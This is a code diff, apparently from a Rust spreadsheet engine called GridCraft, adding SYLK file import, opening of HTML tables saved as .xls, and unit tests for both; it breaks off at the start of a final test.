mod sylk;
/// File formats GridCraft reads or writes.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum FileKind {
@@ -19,6 +21,8 @@ pub enum FileKind {
Tsv,
Json,
Html,
/// SYLK symbolic link text (import only).
Sylk,
}
impl FileKind {
@@ -33,6 +37,7 @@ impl FileKind {
"tsv" | "tab" | "txt" => FileKind::Tsv,
"json" | "scjson" => FileKind::Json,
"html" | "htm" => FileKind::Html,
"slk" => FileKind::Sylk,
_ => return None,
})
}
@@ -118,12 +123,13 @@ fn decrypt_message(name: &str, e: gridcraft_xlsx::DecryptError) -> String {
}
}
/// Parses bytes that aren't encrypted, then takes the workbook's macros out of their hidden names
/// and adopts the Python cells they hold (see [`adopt_python`]) within the limits of
/// [`enforce_python_limits`].
/// Parses bytes that aren't encrypted, then takes the workbook's macros, and the button actions
/// xlsx has no place for, out of their hidden names, and adopts the Python cells they hold (see
/// [`adopt_python`]) within the limits of [`enforce_python_limits`].
fn open_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, Vec<String>)> {
let (mut wb, mut warnings) = read_plain(name, bytes, csv_as_text)?;
warnings.extend(crate::macros::load(&mut wb));
crate::cmd::controls::load_action_names(&mut wb);
warnings.extend(adopt_python(&mut wb));
warnings.extend(enforce_python_limits(&mut wb));
Ok((wb, warnings))
@@ -291,6 +297,9 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook,
})?;
return Ok((wb, report.warnings));
}
if let Some(read) = read_html_table(name, kind, bytes, csv_as_text) {
return read;
}
match kind {
Some(FileKind::Json) => {
let mut wb: Workbook = serde_json::from_slice(bytes).map_err(|e| EngineError::Other(format!("not a GridCraft JSON workbook: {e}")))?;
@@ -310,6 +319,11 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook,
}
Ok((wb, warnings))
}
Some(FileKind::Sylk) => {
let (mut wb, warnings) = sylk::read(name, bytes)?;
rename_first_sheet(&mut wb, name);
Ok((wb, warnings))
}
Some(FileKind::Tsv) => {
let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() };
let (mut wb, report) = gridcraft_xlsx::read_csv_with_report(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?;
@@ -346,9 +360,112 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String {
)
}
/// How much of a text file is read to tell whether it is a web page.
const HTML_SNIFF_BYTES: usize = 64 << 10;
/// A web page that holds a table, whatever its extension: a web app's "Export to Excel" is often
/// HTML saved as `.xls` (#3166). Excel opens its table as a sheet (after warning that the format
/// and extension don't match): the cells read like typed input (or as text with `csv_as_text`),
/// header cells (`<th>`) are bold and centred, and the sheet takes the name the page gives it
/// (`<x:Name>`) or the file's. `None` when the bytes aren't such a page.
fn read_html_table(name: &str, kind: Option<FileKind>, bytes: &[u8], csv_as_text: bool) -> Option<Result<(Workbook, Vec<String>)>> {
// Every other text file (CSV, TSV, JSON) passes through here: look at the start only, and decode
// the whole file once it is known to be a page within the size a text import takes.
if matches!(kind, Some(FileKind::Json)) || bytes.len() > gridcraft_xlsx::MAX_CSV_BYTES {
return None;
}
let start = gridcraft_xlsx::decode_text(bytes.get(..HTML_SNIFF_BYTES).unwrap_or(bytes));
// Comments an exporter writes before the page (`<!-- ... -->`) don't make it something else.
let mut rest = start.trim_start_matches('\u{feff}').trim_start();
while let Some(after) = rest.strip_prefix("<!--") {
match after.find("-->").and_then(|end| after.get(end + 3..)) {
Some(more) => rest = more.trim_start(),
None => break,
}
}
let head: String = rest.chars().take(16).collect::<String>().to_ascii_lowercase();
if !["<!doctype html", "<html", "<table", "<head", "<body", "<meta"].iter().any(|t| head.starts_with(t)) {
return None;
}
// Decoded as a CSV is (BOM, UTF-8, else Windows-1252/1256), so a legacy page keeps its letters.
let text = gridcraft_xlsx::decode_text(bytes);
let rows = crate::clip_html::table_cells(&text, gridcraft_core::MAX_ROWS as usize, gridcraft_core::MAX_COLS as usize);
if rows.iter().all(Vec::is_empty) {
return None;
}
// The cells go through the CSV reader, so numbers, dates and text read exactly as they do there.
let mut tsv = String::new();
for row in &rows {
let fields: Vec<String> = row
.iter()
.map(|cell| {
// The number the page recorded (`x:num`) only when values are read; as text, the
// cell keeps the text it shows.
let field = match cell.num.filter(|_| !csv_as_text) {
Some(n) => gridcraft_core::number_to_text(n),
// Whitespace is already collapsed; non-breaking spaces stay, as in Excel.
None => cell.text.clone(),
};
if field.contains(['\t', '\n', '\r', '"']) { format!("\"{}\"", field.replace('"', "\"\"")) } else { field }
})
.collect();
tsv.push_str(&fields.join("\t"));
tsv.push('\n');
}
let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() };
let read = gridcraft_xlsx::read_csv_with_report(tsv.as_bytes(), &opts).map_err(|e| EngineError::Other(e.to_string()));
Some(read.map(|(mut wb, report)| {
wb.csv_delimiter = None;
// Header cells are bold and centred on top of the style the CSV reader gave them, so a
// date in a header keeps its date format.
let headers: Vec<CellRef> = rows
.iter()
.enumerate()
.flat_map(|(r, row)| row.iter().enumerate().filter(|(_, cell)| cell.header && !cell.text.trim().is_empty()).map(move |(c, _)| CellRef::new(r as u32, c as u32)))
.collect();
let mut bold: std::collections::HashMap<gridcraft_model::StyleId, gridcraft_model::StyleId> = std::collections::HashMap::new();
for at in headers {
let Some(base) = wb.sheet(0).map(|sh| sh.style_id(at)) else { continue };
let id = *bold.entry(base).or_insert_with(|| {
wb.styles.derive(base, |st| {
st.font.bold = true;
st.align.h = gridcraft_model::HAlign::Center;
})
});
if let Some(sh) = wb.sheet_mut(0) {
sh.set_style(at, id);
}
}
let page_name = find_between(&text, "<x:Name>", "</x:Name>").map(|n| crate::clip_html::normalized(n.trim()));
match page_name.filter(|n| !n.is_empty()) {
Some(sheet) => set_first_sheet_name(&mut wb, &sheet),
None => rename_first_sheet(&mut wb, name),
}
let mut warnings = report.warnings;
if !matches!(kind, Some(FileKind::Html)) {
warnings.insert(0, format!("'{name}' is a web page (HTML), not a workbook in the format its name says: its table was opened as a sheet. Save as .xlsx to keep your changes."));
}
(wb, warnings)
}))
}
/// The text between the first `open` and the `close` after it, matched case-insensitively.
fn find_between<'a>(text: &'a str, open: &str, close: &str) -> Option<&'a str> {
let lower = text.to_ascii_lowercase();
let start = lower.find(&open.to_ascii_lowercase())?.checked_add(open.len())?;
let len = lower.get(start..)?.find(&close.to_ascii_lowercase())?;
text.get(start..start.checked_add(len)?)
}
/// A CSV opens as a sheet named after the file (like Excel).
fn rename_first_sheet(wb: &mut Workbook, path: &str) {
let stem = std::path::Path::new(path).file_stem().and_then(std::ffi::OsStr::to_str).unwrap_or("Sheet1");
set_first_sheet_name(wb, stem);
}
/// Names the first sheet `name`, without the characters a sheet name can't hold and cut to 31
/// characters; an empty or reserved result keeps the default name.
fn set_first_sheet_name(wb: &mut Workbook, stem: &str) {
let clean: String = stem.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect();
let clean = clean.trim_matches('\'').to_string();
// "History" is reserved (see `Workbook::check_sheet_name`): keep the default name instead.
@@ -377,9 +494,13 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result<Vec<u8
match kind {
// The extension picks the package kind; only the macro-enabled kinds (.xlsm, .xltm) carry
// the VBA project, so any other name saves without it, as Excel does.
// Macros travel in hidden names.
// Macros, and button actions xlsx has no place for, travel in hidden names.
FileKind::Xlsx => {
let named = crate::macros::with_names(wb)?;
let named = match crate::cmd::controls::with_action_names(named.as_ref().unwrap_or(wb))? {
Some(w) => Some(w),
None => named,
};
let book = std::path::Path::new(path).file_name().and_then(std::ffi::OsStr::to_str).unwrap_or_default();
gridcraft_xlsx::write_xlsx_named(named.as_ref().unwrap_or(wb), gridcraft_xlsx::XlsxKind::from_path(path), book)
.map_err(|e| EngineError::Other(e.to_string()))
@@ -389,6 +510,9 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result<Vec<u8
}
FileKind::Xlsb => Err(EngineError::Other("XLSB is supported for data import only. Save as .xlsx or another supported export format.".into())),
FileKind::Ods => Err(EngineError::Other("ODS is supported for data import only. Save as .xlsx or another supported export format.".into())),
FileKind::Sylk => {
Err(EngineError::Other("SYLK (.slk) is supported for import only. Save as .xlsx or another supported export format.".into()))
}
// A workbook read from CSV keeps the separator it was read with (a `;` file stays `;`).
FileKind::Csv => wb.sheet(sheet).map(|sh| csv(wb, sh, wb.csv_delimiter.unwrap_or(b','))).transpose().map(Option::unwrap_or_default),
FileKind::Tsv => wb.sheet(sheet).map(|sh| csv(wb, sh, b'\t')).transpose().map(Option::unwrap_or_default),
+328
View File
@@ -0,0 +1,328 @@
//! SYLK (`.slk`) import: the symbolic link text format older spreadsheets and some legacy systems
//! export. One record per line, fields separated by `;` (`;;` is a literal semicolon):
//!
//! - `ID` starts the file; `E` ends it.
//! - `C;Y<row>;X<col>;K<value>;E<formula>` is a cell. `Y` and `X` may be left out to stay on the
//! current row or column. `K` is a number, `"text"`, `TRUE`/`FALSE` or an error; `E` is a
//! formula in R1C1 notation; `S;R<row>;C<col>` shares the formula of another cell.
//! - `P;P<code>` adds a number format to the file's list; `F;P<n>;Y<row>;X<col>` gives a cell the
//! n-th format (0-based), and `F;W<first> <last> <width>` sets column widths in characters.
//!
//! Other records (fonts, options, window settings) are skipped. Formulas are converted to A1 with
//! the same relative and absolute references, as Excel does when it opens the file.
use std::collections::HashMap;
use std::sync::Arc;
use gridcraft_core::{CellError, CellRef, MAX_COLS, MAX_ROWS, Value, col_to_letters};
use gridcraft_model::{Cell, Formula, NumFmt, Sheet, Style, Workbook};
use crate::{EngineError, Result};
/// The largest SYLK file read, as for other text imports: past it the file is refused.
const MAX_BYTES: usize = 512 << 20;
/// Column-width records kept from one file; each can cover every column.
const MAX_WIDTH_RECORDS: usize = 1024;
/// Reads a SYLK file into a one-sheet workbook. Returns the workbook and its warnings.
pub fn read(name: &str, bytes: &[u8]) -> Result<(Workbook, Vec<String>)> {
if bytes.len() > MAX_BYTES {
return Err(EngineError::Other(format!("We can't open '{name}': the SYLK file is larger than {} MB.", MAX_BYTES >> 20)));
}
let text = match std::str::from_utf8(bytes) {
Ok(s) => s.to_string(),
// Older exports are in a single-byte code page: keep each byte as its Latin-1 character.
Err(_) => bytes.iter().map(|&b| char::from(b)).collect(),
};
let text = text.strip_prefix('\u{feff}').unwrap_or(&text);
if !text.starts_with("ID") {
return Err(EngineError::Other(format!("We can't open '{name}': it isn't a SYLK file (it doesn't start with an ID record).")));
}
let mut sheet = Sheet::new("Sheet1");
let mut formats: Vec<String> = Vec::new();
// Cells' number formats by index into `formats`, applied once every format is known.
let mut cell_formats: Vec<(CellRef, usize)> = Vec::new();
let mut formulas: HashMap<CellRef, String> = HashMap::new();
let mut widths: Vec<(u32, u32, f64)> = Vec::new();
let (mut row, mut col) = (0u32, 0u32);
let mut skipped = 0usize;
for line in text.lines() {
let fields = split_fields(line);
let Some((kind, rest)) = fields.split_first() else { continue };
match kind.as_str() {
"C" => {
let (mut value, mut formula, mut shared) = (None, None, None::<(Option<u32>, Option<u32>)>);
let mut bad = false;
for f in rest {
let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8));
match tag {
"Y" => match position(arg, MAX_ROWS) {
Some(r) => row = r,
None => bad = true,
},
"X" => match position(arg, MAX_COLS) {
Some(c) => col = c,
None => bad = true,
},
"K" => value = Some(parse_value(arg)),
"E" => formula = Some(arg.to_string()),
"S" => shared = Some((None, None)),
// In a shared-formula cell, R and C name the cell whose formula it shares.
"R" if shared.is_some() => shared = shared.map(|(_, c)| (position(arg, MAX_ROWS), c)),
"C" if shared.is_some() => shared = shared.map(|(r, _)| (r, position(arg, MAX_COLS))),
_ => {}
}
}
if bad {
skipped += 1;
continue;
}
let at = CellRef::new(row, col);
if let Some((Some(r), Some(c))) = shared {
formula = formulas.get(&CellRef::new(r, c)).cloned();
}
let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty));
if let Some(v) = value {
cell.value = v;
}
if let Some(r1c1) = formula {
let a1 = r1c1_formula_to_a1(&r1c1, at);
let f = Formula::new(&a1);
if f.expr.is_some() {
cell.formula = Some(Arc::new(f));
formulas.insert(at, r1c1);
} else {
skipped += 1;
}
}
sheet.set_cell(at, cell);
}
"F" => {
let mut format = None;
for f in rest {
let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8));
match tag {
"Y" => row = position(arg, MAX_ROWS).unwrap_or(row),
"X" => col = position(arg, MAX_COLS).unwrap_or(col),
"P" => format = arg.parse::<usize>().ok(),
"W" => {
let mut parts = arg.split_whitespace();
if let (Some(first), Some(last), Some(width)) = (parts.next(), parts.next(), parts.next())
&& let (Some(first), Some(last), Ok(width)) =
(position(first, MAX_COLS), position(last, MAX_COLS), width.parse::<f64>())
&& first <= last
&& (0.0..=255.0).contains(&width)
// A file of width records can't make the import loop over every column
// again and again.
&& widths.len() < MAX_WIDTH_RECORDS
{
widths.push((first, last, width));
}
}
_ => {}
}
}
if let Some(format) = format {
cell_formats.push((CellRef::new(row, col), format));
}
}
// Number formats only: `P;F…` and `P;E…` are fonts.
"P" => {
if let Some(code) = rest.first().and_then(|f| f.strip_prefix('P')) {
formats.push(code.to_string());
}
}
"E" => break,
_ => {}
}
}
for (first, last, width) in widths {
let size = crate::cmd::format::chars_to_points(width) as f32;
for c in first..=last {
sheet.cols.entry(c).or_default().size = Some(size);
}
}
let mut wb = Workbook::new();
let mut styles = HashMap::new();
for (at, index) in cell_formats {
let Some(code) = formats.get(index).filter(|code| !code.is_empty() && *code != "General") else { continue };
let style = *styles.entry(index).or_insert_with(|| wb.styles.intern(Style { num_fmt: NumFmt(Arc::from(code.as_str())), ..Style::default() }));
let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty));
cell.style = style;
sheet.set_cell(at, cell);
}
if let Some(first) = wb.sheet_mut(0) {
sheet.name = std::mem::take(&mut first.name);
*first = sheet;
}
let mut warnings = Vec::new();
if skipped > 0 {
warnings.push(format!("{name}: {skipped} SYLK records GridCraft couldn't read were skipped"));
}
Ok((wb, warnings))
}
/// A record's fields: `;` separates them and `;;` is a literal semicolon.
fn split_fields(line: &str) -> Vec<String> {
let mut fields = vec![String::new()];
let mut chars = line.trim_end_matches('\r').chars().peekable();
while let Some(c) = chars.next() {
if c == ';' {
if chars.peek() == Some(&';') {
chars.next();
if let Some(f) = fields.last_mut() {
f.push(';');
}
} else {
fields.push(String::new());
}
} else if let Some(f) = fields.last_mut() {
f.push(c);
}
}
fields
}
/// A 1-based row or column number → 0-based, within `max`.
fn position(arg: &str, max: u32) -> Option<u32> {
arg.trim().parse::<u32>().ok().filter(|n| (1..=max).contains(n)).map(|n| n - 1)
}
/// A `K` value: `"text"` (everything between the first and the last quote, as written), a
/// boolean, an error or a number.
fn parse_value(arg: &str) -> Value {
if let Some(text) = arg.strip_prefix('"') {
let text = text.strip_suffix('"').unwrap_or(text);
return Value::Text(Arc::from(text));
}
if arg.eq_ignore_ascii_case("TRUE") || arg.eq_ignore_ascii_case("FALSE") {
return Value::Bool(arg.eq_ignore_ascii_case("TRUE"));
}
if let Some(e) = CellError::parse(arg) {
return Value::Error(e);
}
match arg.trim().parse::<f64>() {
Ok(n) if n.is_finite() => Value::Number(n),
_ => Value::Text(Arc::from(arg)),
}
}
/// One part of an R1C1 reference: `R`/`C` followed by an absolute number, a bracketed offset or
/// nothing (the cell's own row or column).
#[derive(Clone, Copy, Debug, PartialEq)]
enum Part {
Absolute(u32),
Relative(i64),
}
impl Part {
/// The 0-based index and whether it is absolute, or `None` when it falls off the sheet.
fn resolve(self, base: u32, max: u32) -> Option<(u32, bool)> {
match self {
Part::Absolute(n) => (1..=max).contains(&n).then(|| (n - 1, true)),
Part::Relative(k) => i64::from(base).checked_add(k).and_then(|v| u32::try_from(v).ok()).filter(|v| *v < max).map(|v| (v, false)),
}
}
}
/// Parses the number after `R` or `C` at `i`: digits, `[offset]` or nothing. Returns the part and
/// the index after it, or `None` when the text isn't a reference part.
fn parse_part(chars: &[char], i: usize) -> Option<(Part, usize)> {
match chars.get(i) {
Some('[') => {
let close = chars[i..].iter().position(|&c| c == ']')? + i;
let inner: String = chars[i + 1..close].iter().collect();
Some((Part::Relative(inner.parse().ok()?), close + 1))
}
Some(c) if c.is_ascii_digit() => {
let end = chars[i..].iter().position(|c| !c.is_ascii_digit()).map_or(chars.len(), |p| p + i);
let n: String = chars[i..end].iter().collect();
Some((Part::Absolute(n.parse().unwrap_or(u32::MAX)), end))
}
_ => Some((Part::Relative(0), i)),
}
}
fn is_word_char(c: char) -> bool {
c.is_alphanumeric() || matches!(c, '_' | '.' | '\\' | '?' | '$')
}
/// Rewrites the R1C1 references in a SYLK formula as A1 references for the cell at `at`:
/// `RC[-1]` → `B2`, `R1C1` → `$A$1`, `R[-2]C:R[-1]C` → `D2:D3`, a whole column `C4` → `$D:$D` and
/// a whole row `R3` → `$3:$3`. Text in quotes and quoted sheet names are left alone; a reference
/// off the sheet becomes `#REF!`.
pub(crate) fn r1c1_formula_to_a1(formula: &str, at: CellRef) -> String {
let chars: Vec<char> = formula.chars().collect();
let mut out = String::with_capacity(formula.len());
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if c == '"' || c == '\'' {
// Copy the quoted run as it is; a doubled quote stays inside it.
let mut j = i + 1;
while j < chars.len() && !(chars[j] == c && chars.get(j + 1) != Some(&c)) {
j += if chars[j] == c { 2 } else { 1 };
}
let stop = (j + 1).min(chars.len());
out.extend(&chars[i..stop]);
i = stop;
continue;
}
let starts_word = i == 0 || !is_word_char(chars[i - 1]);
if starts_word
&& matches!(c, 'R' | 'r' | 'C' | 'c')
&& let Some((text, next)) = reference_at(&chars, i, at)
{
out.push_str(&text);
i = next;
continue;
}
// Copy the rest of a word as it is, so `ROUND` or `Sheet2` isn't read as a reference.
if is_word_char(c) {
let end = (i..chars.len()).find(|&j| !is_word_char(chars[j])).unwrap_or(chars.len());
out.extend(&chars[i..end]);
i = end;
} else {
out.push(c);
i += 1;
}
}
out
}
/// The A1 text of the R1C1 reference starting at `i`, and the index after it, or `None` when the
/// word there isn't a reference (a function or a name).
fn reference_at(chars: &[char], i: usize, at: CellRef) -> Option<(String, usize)> {
let mut j = i;
let mut row = None;
let mut col = None;
if matches!(chars.get(j), Some('R' | 'r')) {
let (part, next) = parse_part(chars, j + 1)?;
row = Some(part);
j = next;
}
if matches!(chars.get(j), Some('C' | 'c')) {
let (part, next) = parse_part(chars, j + 1)?;
col = Some(part);
j = next;
}
if row.is_none() && col.is_none() {
return None;
}
// A reference ends the word: `ROUND(`, `RATE` or `R2D2` are names.
if chars.get(j).is_some_and(|&c| is_word_char(c) || c == '(' || c == '[' || c == '!') {
return None;
}
let row_text = |p: Part| p.resolve(at.row, MAX_ROWS).map(|(r, abs)| format!("{}{}", if abs { "$" } else { "" }, r + 1));
let col_text = |p: Part| p.resolve(at.col, MAX_COLS).map(|(c, abs)| format!("{}{}", if abs { "$" } else { "" }, col_to_letters(c)));
// One side of a range (`R2:R4`, `C1:C3`) is written alone; a lone row or column is the whole of it.
let prev = chars[..i].iter().rev().find(|c| !c.is_whitespace());
let in_range = prev == Some(&':') || chars[j..].iter().find(|c| !c.is_whitespace()) == Some(&':');
let text = match (row, col) {
(Some(r), Some(c)) => row_text(r).zip(col_text(c)).map(|(r, c)| format!("{c}{r}")),
(Some(r), None) => row_text(r).map(|r| if in_range { r } else { format!("{r}:{r}") }),
(None, Some(c)) => col_text(c).map(|c| if in_range { c } else { format!("{c}:{c}") }),
(None, None) => None,
};
Some((text.unwrap_or_else(|| "#REF!".into()), j))
}
+157
View File
@@ -604,3 +604,160 @@ fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() {
assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")"));
assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut")));
}
#[test]
fn a_web_page_saved_as_xls_opens_its_table() {
// #3166: a web app's "Export to Excel" is an HTML table saved as .xls; it opened as lines of
// markup. Excel opens the table: values read as typed, <th> bold and centred, <x:Name> names
// the sheet.
let page = "\u{feff}<html xmlns:x=\"urn:schemas-microsoft-com:office:excel\"><head><meta charset=\"UTF-8\">\
<!--[if gte mso 9]><xml><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>Orders</x:Name></x:ExcelWorksheet></x:ExcelWorksheets></xml><![endif]-->\
</head><body><table><thead><tr><th>Item</th><th>Qty</th><th>Code</th></tr></thead><tbody>\
<tr><td>Kiwi &amp;\n Lime</td><td>12</td><td>007</td></tr><tr><td>Plum</td><td x:num=\"4.5\">4,50</td><td>042</td></tr>\
</tbody></table></body></html>";
let (wb, warnings) = open_bytes("orders.xls", page.as_bytes()).unwrap();
assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}");
let sh = wb.sheet(0).unwrap();
assert_eq!(sh.name, "Orders");
let v = |a: &str| sh.value(CellRef::parse(a).unwrap());
assert_eq!(v("A1"), gridcraft_core::Value::text("Item"));
assert_eq!(v("A2"), gridcraft_core::Value::text("Kiwi & Lime"));
assert_eq!(v("B2"), gridcraft_core::Value::number(12.0));
assert_eq!(v("C2"), gridcraft_core::Value::number(7.0), "read like typed input, as Excel does");
assert_eq!(v("B3"), gridcraft_core::Value::number(4.5), "the number the page recorded");
let style = |a: &str| wb.styles.get(sh.style_id(CellRef::parse(a).unwrap())).clone();
assert!(style("A1").font.bold && style("A1").align.h == gridcraft_model::HAlign::Center);
assert!(!style("A2").font.bold);
// Opened as text, codes keep their zeros; a page named .html gets no warning.
let (wb, warnings) = open_bytes_with("orders.html", page.as_bytes(), None, true).unwrap();
assert!(warnings.is_empty(), "{warnings:?}");
assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("C2").unwrap()), gridcraft_core::Value::text("007"));
// Plain text that merely starts with a tag-like word is still read as CSV.
let (wb, _) = open_bytes("notes.csv", b"<b>,1\nx,2\n").unwrap();
assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(2.0));
}
#[test]
fn a_web_page_table_keeps_its_characters_text_and_header_formats() {
// A page saved in Windows-1252 keeps its accented letters (it read as replacement characters).
let mut page = b"<html><body><table><tr><th>Caf".to_vec();
page.push(0xE9);
page.extend_from_slice(b"</th><th>2024-01-15</th></tr><tr><td>Plum</td><td x:num=\"4.5\">4,50</td></tr></table></body></html>");
let (wb, _) = open_bytes("menu.xls", &page).unwrap();
let sh = wb.sheet(0).unwrap();
assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("Café"));
// A date in a header cell stays a date, bold and centred (its format was replaced).
let b1 = wb.styles.get(sh.style_id(CellRef::parse("B1").unwrap()));
assert!(matches!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::Number(_)));
assert!(b1.font.bold && b1.align.h == gridcraft_model::HAlign::Center);
assert_ne!(b1.num_fmt.as_str(), "General", "the date keeps its date format");
assert_eq!(sh.value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(4.5));
// Opened as text, a cell keeps the text it shows, not the number the page recorded for it.
let (wb, _) = open_bytes_with("menu.xls", &page, None, true).unwrap();
assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::text("4,50"));
}
#[test]
fn a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces() {
// An exporter's comment before <html> still makes a web page; `&nbsp;` stays a non-breaking
// space, as Excel keeps it, while ordinary whitespace collapses.
let page = "<!-- exported by a web app -->\n<html><body><table><tr><td>New&nbsp;&nbsp;York</td><td>a \n b</td></tr></table></body></html>";
let (wb, warnings) = open_bytes("cities.xls", page.as_bytes()).unwrap();
assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}");
let sh = wb.sheet(0).unwrap();
assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("New\u{a0}\u{a0}York"));
assert_eq!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::text("a b"));
}
/// A small SYLK file written the way spreadsheets export one: a header, number formats, column
/// widths, cells that carry on from the last row or column, formulas in R1C1 and a shared formula.
const SYLK: &str = "ID;PTEST;N;E\r\nP;PGeneral\r\nP;P0.00\r\nP;Pyyyy\\-mm\\-dd\r\nF;W1 1 18\r\nF;W2 3 9\r\nB;Y5;X7\r\n\
C;Y1;X1;K\"Item\"\r\nC;X2;K\"Qty\"\r\nC;X4;K\"Total\"\r\n\
C;Y2;X1;K\"Bolts;; small\"\r\nC;X2;K12\r\nF;P1;F$2G;X3\r\nC;X3;K0.35\r\nC;X4;K4.2;ERC[-2]*RC[-1]\r\n\
C;X5;K52;ER2C2+R[1]C[-3]\r\nC;X6;KTRUE\r\nC;X7;K8.4;ERC[-3]*2\r\n\
C;Y3;X1;K\"Nuts \"\"hex\"\"\"\r\nC;X2;K40\r\nC;X3;K0.12\r\nC;X4;K4.8;ERC[-2]*RC[-1]\r\nC;X5;K\"big\";EIF(R4C4>5,\"big\",\"small\")\r\nC;X7;K9.6;S;R2;C7\r\n\
C;Y4;X1;K\"Sum\"\r\nC;X4;K9;ESUM(R[-2]C:R[-1]C)\r\nC;X5;K#DIV/0!;E1/0\r\nC;X7;K18;ESUM(C4)\r\n\
F;P2;FG0G;Y5;X2\r\nC;Y5;X2;K45000\r\nC;X3;K\"R2C3\";E\"R2C3\"\r\nE\r\n";
#[test]
fn sylk_files_open_with_values_formulas_formats_and_widths() {
let (wb, warnings) = open_bytes("Parts list.slk", SYLK.as_bytes()).unwrap();
assert!(warnings.is_empty(), "{warnings:?}");
let sh = wb.sheet(0).unwrap();
assert_eq!(sh.name, "Parts list", "the sheet is named after the file");
let at = |a: &str| CellRef::parse(a).unwrap();
let formula = |a: &str| sh.cell(at(a)).and_then(|c| c.formula.as_ref()).map(|f| f.text.clone());
let text = |s: &str| gridcraft_core::Value::Text(s.into());
assert_eq!(sh.value(at("A1")), text("Item"));
assert_eq!(sh.value(at("A2")), text("Bolts; small"), ";; is a semicolon");
assert_eq!(sh.value(at("A3")), text("Nuts \"\"hex\"\""), "text is kept between the outer quotes as written");
assert_eq!(sh.value(at("B2")), gridcraft_core::Value::Number(12.0));
assert_eq!(sh.value(at("F2")), gridcraft_core::Value::Bool(true));
assert_eq!(sh.value(at("E4")), gridcraft_core::Value::Error(gridcraft_core::CellError::Div0));
assert_eq!(sh.value(at("D4")), gridcraft_core::Value::Number(9.0), "a formula keeps the value the file cached");
assert_eq!(formula("D2").as_deref(), Some("B2*C2"));
assert_eq!(formula("E2").as_deref(), Some("$B$2+B3"));
assert_eq!(formula("E3").as_deref(), Some("IF($D$4>5,\"big\",\"small\")"));
assert_eq!(formula("D4").as_deref(), Some("SUM(D2:D3)"));
assert_eq!(formula("G3").as_deref(), Some("D3*2"), "a shared formula is the other cell's, moved");
assert_eq!(formula("G4").as_deref(), Some("SUM($D:$D)"), "C4 alone is the whole column");
assert_eq!(formula("C5").as_deref(), Some("\"R2C3\""), "text in quotes isn't a reference");
// `F;P1;X3` formats the cell on the current row only.
let fmt = |a: &str| wb.styles.get(sh.style_id(at(a))).num_fmt.0.to_string();
assert_eq!(fmt("C2"), "0.00");
assert_eq!(fmt("C3"), "General");
assert_eq!(fmt("B5"), "yyyy\\-mm\\-dd");
// Widths are in characters, like the Column Width dialog's.
let chars = |c: u32| gridcraft_model::points_to_chars(f64::from(sh.col_width(c)));
assert_eq!((chars(0), chars(1), chars(2)), (18.0, 9.0, 9.0));
assert_eq!(sh.cols.get(&3).and_then(|i| i.size), None, "column D keeps the default width");
}
#[test]
fn sylk_r1c1_formulas_become_a1() {
let b2 = CellRef::parse("B2").unwrap();
for (r1c1, a1) in [
("RC", "B2"),
("R[1]C[-1]", "A3"),
("R1C1:R2C2", "$A$1:$B$2"),
("R3", "$3:$3"),
("R1:R[2]", "$1:4"),
("C[1]", "C:C"),
("SUM(C3:C4)", "SUM($C:$D)"),
("ROUND(RC[1],2)+RATE(1,2,3)", "ROUND(C2,2)+RATE(1,2,3)"),
("'R1C1 sheet'!R1C1", "'R1C1 sheet'!$A$1"),
("Sheet2!RC", "Sheet2!B2"),
("R2D2+rc", "R2D2+B2"),
("R[-5]C", "#REF!"),
("\"RC\"&R1C1", "\"RC\"&$A$1"),
] {
assert_eq!(sylk::r1c1_formula_to_a1(r1c1, b2), a1, "{r1c1}");
}
}
#[test]
fn sylk_rejects_other_files_and_survives_damage() {
assert!(open_bytes("not.slk", b"A,B\n1,2\n").is_err(), "a SYLK file starts with ID");
// Positions off the sheet, broken numbers, a missing end and a format past the list.
let (wb, warnings) =
open_bytes("damaged.slk", b"ID;P\nC;Y0;X1;K1\nC;Y2;X99999;K2\nC;Y3;X1;K1e999\nF;P7;Y3;X1\nF;W5 2 9\nC;Y4;X1;K5;E(((\n").unwrap();
let sh = wb.sheet(0).unwrap();
assert_eq!(sh.cells.iter().count(), 2, "{:?}", sh.cells.iter().collect::<Vec<_>>());
assert_eq!(sh.value(CellRef::parse("A3").unwrap()), gridcraft_core::Value::Text("1e999".into()));
assert_eq!(warnings.len(), 1, "skipped records are reported: {warnings:?}");
}
#[test]
fn sylk_survives_huge_relative_offsets_and_width_floods() {
